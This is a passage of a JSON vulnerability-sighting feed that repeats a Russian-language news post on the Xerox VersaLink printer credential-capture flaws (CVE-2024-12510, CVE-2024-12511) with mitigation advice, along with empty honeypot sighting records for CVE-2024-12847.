57.75.53).\n\u23fa\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430.\n\u23fa\u0417\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043b\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u23fa\u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 Windows \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041c\u044b \u043f\u0440\u0438\u0432\u044b\u043a\u043b\u0438 \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043d\u043e \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e\u043a\u0430 \u0432\u044b \u0447\u0438\u0442\u0430\u0435\u0442\u0435 \u044d\u0442\u043e\u0442 \u043f\u043e\u0441\u0442, \u043e\u0444\u0438\u0441\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n#\u041d\u043e\u0432\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-17T11:00:04.571380Z"}, {"uuid": "2e66e797-8758-4f82-9fff-be281bf4127e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/rtinfobez/218", "content": "\ud83d\udfe1 \u041f\u0440\u0438\u043d\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\n\n\u0412\u044b \u0432\u0440\u044f\u0434 \u043b\u0438 \u0434\u0443\u043c\u0430\u0435\u0442\u0435 \u043e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0435 \u043a\u0430\u043a \u043e\u0431 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u0410 \u0437\u0440\u044f. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Xerox VersaLink C7025 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442?\n\u23fa\u041f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 (CVE-2024-12510, CVSS 6.7) \u2014 \u0445\u0430\u043a\u0435\u0440 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b LDAP. \u0412 \u0438\u0442\u043e\u0433\u0435 \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043b\u043e\u0433\u0438\u043d\u044b \u0438 \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432.\n\u23fa\u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 (CVE-2024-12511, CVSS 7.6) \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 SMB \u0438\u043b\u0438 FTP, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b. \u041a\u043e\u0433\u0434\u0430 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0435\u0433\u043e \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0440\u0443\u043a\u0430\u0445 \u0445\u0430\u043a\u0435\u0440\u0430.\n\n\u0412\u0441\u0435, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0430\u043a\u0442 \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u23fa\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 (Service Pack 57.75.53).\n\u23fa\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430.\n\u23fa\u0417\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043b\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u23fa\u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 Windows \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041c\u044b \u043f\u0440\u0438\u0432\u044b\u043a\u043b\u0438 \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043d\u043e \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e\u043a\u0430 \u0432\u044b \u0447\u0438\u0442\u0430\u0435\u0442\u0435 \u044d\u0442\u043e\u0442 \u043f\u043e\u0441\u0442, \u043e\u0444\u0438\u0441\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n#\u041d\u043e\u0432\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-17T11:00:04.526601Z"}, {"uuid": "4fa55de4-d5a7-473a-a3b2-02ec345c3ab3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12510", "type": "seen", "source": "https://t.me/rtinfobez/218", "content": "\ud83d\udfe1 \u041f\u0440\u0438\u043d\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\n\n\u0412\u044b \u0432\u0440\u044f\u0434 \u043b\u0438 \u0434\u0443\u043c\u0430\u0435\u0442\u0435 \u043e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0435 \u043a\u0430\u043a \u043e\u0431 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u0410 \u0437\u0440\u044f. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Xerox VersaLink C7025 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442?\n\u23fa\u041f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 (CVE-2024-12510, CVSS 6.7) \u2014 \u0445\u0430\u043a\u0435\u0440 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b LDAP. \u0412 \u0438\u0442\u043e\u0433\u0435 \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043b\u043e\u0433\u0438\u043d\u044b \u0438 \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432.\n\u23fa\u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 (CVE-2024-12511, CVSS 7.6) \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 SMB \u0438\u043b\u0438 FTP, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b. \u041a\u043e\u0433\u0434\u0430 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0435\u0433\u043e \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0440\u0443\u043a\u0430\u0445 \u0445\u0430\u043a\u0435\u0440\u0430.\n\n\u0412\u0441\u0435, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0430\u043a\u0442 \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u23fa\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 (Service Pack 57.75.53).\n\u23fa\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430.\n\u23fa\u0417\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043b\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u23fa\u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 Windows \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041c\u044b \u043f\u0440\u0438\u0432\u044b\u043a\u043b\u0438 \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043d\u043e \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e\u043a\u0430 \u0432\u044b \u0447\u0438\u0442\u0430\u0435\u0442\u0435 \u044d\u0442\u043e\u0442 \u043f\u043e\u0441\u0442, \u043e\u0444\u0438\u0441\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n#\u041d\u043e\u0432\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-18T00:00:31.010447Z"}, {"uuid": "5edcdc6b-6e06-4fd4-9142-cdc2f22546c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12511", "type": "seen", "source": "https://t.me/rtinfobez/218", "content": "\ud83d\udfe1 \u041f\u0440\u0438\u043d\u0442\u0435\u0440 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0430 \u0432\u0437\u043b\u043e\u043c\u0430\n\n\u0412\u044b \u0432\u0440\u044f\u0434 \u043b\u0438 \u0434\u0443\u043c\u0430\u0435\u0442\u0435 \u043e \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0435 \u043a\u0430\u043a \u043e\u0431 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435 \u0445\u0430\u043a\u0435\u0440\u043e\u0432. \u0410 \u0437\u0440\u044f. \n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Rapid7 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Xerox VersaLink C7025 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432.\n\n\u041a\u0430\u043a \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442?\n\u23fa\u041f\u0435\u0440\u0432\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 (CVE-2024-12510, CVSS 6.7) \u2014 \u0445\u0430\u043a\u0435\u0440 \u0438\u0437\u043c\u0435\u043d\u044f\u0435\u0442 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0435\u0440\u0435\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u0435\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b LDAP. \u0412 \u0438\u0442\u043e\u0433\u0435 \u043e\u043d \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043b\u043e\u0433\u0438\u043d\u044b \u0438 \u043f\u0430\u0440\u043e\u043b\u0438 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432.\n\u23fa\u0412\u0442\u043e\u0440\u043e\u0439 \u043c\u0435\u0442\u043e\u0434 \u0430\u0442\u0430\u043a\u0438 (CVE-2024-12511, CVSS 7.6) \u2014 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u044f\u0435\u0442 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 SMB \u0438\u043b\u0438 FTP, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0442\u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b. \u041a\u043e\u0433\u0434\u0430 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u0435\u0433\u043e \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u0432 \u0440\u0443\u043a\u0430\u0445 \u0445\u0430\u043a\u0435\u0440\u0430.\n\n\u0412\u0441\u0435, \u0447\u0442\u043e \u043d\u0443\u0436\u043d\u043e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0435\u043c\u0443 \u2014 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430 \u0438\u043b\u0438 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0430\u043a\u0442 \u0441 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c.\n\n\u0427\u0442\u043e \u0434\u0435\u043b\u0430\u0442\u044c?\n\u23fa\u0423\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 (Service Pack 57.75.53).\n\u23fa\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043b\u043e\u0436\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u0447\u0442\u043e\u0431\u044b \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u043c \u043f\u0440\u0438\u043d\u0442\u0435\u0440\u0430.\n\u23fa\u0417\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u0432\u0435\u0431-\u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043b\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439.\n\u23fa\u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 Windows \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\n\u041c\u044b \u043f\u0440\u0438\u0432\u044b\u043a\u043b\u0438 \u0437\u0430\u0449\u0438\u0449\u0430\u0442\u044c \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u044b, \u043d\u043e \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u0434\u0430\u0436\u0435 \u043f\u0440\u0438\u043d\u0442\u0435\u0440 \u043c\u043e\u0436\u0435\u0442 \u0438\u043c\u0435\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u043e\u043a\u0430 \u0432\u044b \u0447\u0438\u0442\u0430\u0435\u0442\u0435 \u044d\u0442\u043e\u0442 \u043f\u043e\u0441\u0442, \u043e\u0444\u0438\u0441\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n#\u041d\u043e\u0432\u043e\u0441\u0442\u0438", "creation_timestamp": "2026-07-18T00:00:31.053340Z"}, {"uuid": "f7516a9a-3854-4c89-967f-1f939a04d7dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-17)", "content": "", "creation_timestamp": "2026-07-18T10:15:03.826032Z"}, {"uuid": "f5242f69-1135-480e-91c6-b94d1f3e45f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-18)", "content": "", "creation_timestamp": "2026-07-19T10:00:03.096657Z"}, {"uuid": "384ad6cd-a68b-4937-b799-e17f59513669", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-18)", "content": "", "creation_timestamp": "2026-07-19T10:15:04.652129Z"}, {"uuid": "4772d176-5a25-413d-8356-d047e4104076", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 